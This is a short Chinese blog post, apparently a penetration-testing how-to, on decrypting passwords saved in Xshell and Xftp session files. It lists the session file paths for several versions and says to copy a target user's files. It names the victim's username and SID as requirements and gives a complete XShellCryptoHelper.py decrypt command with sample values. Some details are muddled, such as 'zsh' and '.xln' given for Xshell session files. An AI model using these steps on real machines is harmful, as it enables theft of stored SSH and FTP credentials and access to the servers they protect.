1. 程式人生 > 其它 >xshell7配置檔案密碼破解

xshell7配置檔案密碼破解

技術標籤:其他滲透測試基礎知識安全

工具

how-does-Xmanager-encrypt-password

實現

xshell配置檔案位置:

xshell7:    C:\Users\%username%\Documents\NetSarang Computer\7\Xshell\Sessions
xshell6:    C:\Users\%username%\Documents\NetSarang Computer\6\Xshell\Sessions
XShell5:  %userprofile%\Documents\NetSarang\Xshell\Sessions
XFtp5:     %userprofile%\Documents\NetSarang\Xftp\Sessions
XShell6:   %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
XFtp6:      %userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions

將目標使用者的xshell的zsh配置檔案下載到本地
在這裡插入圖片描述

利用條件:
1.xln配置檔案
2.被攻擊使用者的當前使用者的username與sid,username不用加域名。

python3 XShellCryptoHelper.py -d -user Administrator -sid S-1-5-21-917267712-1342860078-1792151419-512 zv21O1x43qRs3c5NckDHvh7ZAvuN1NSJl8ZFL11+UJ+82+KAixa89O3OTAfRTg==

在這裡插入圖片描述

參考文章

xshell&xftp密碼獲取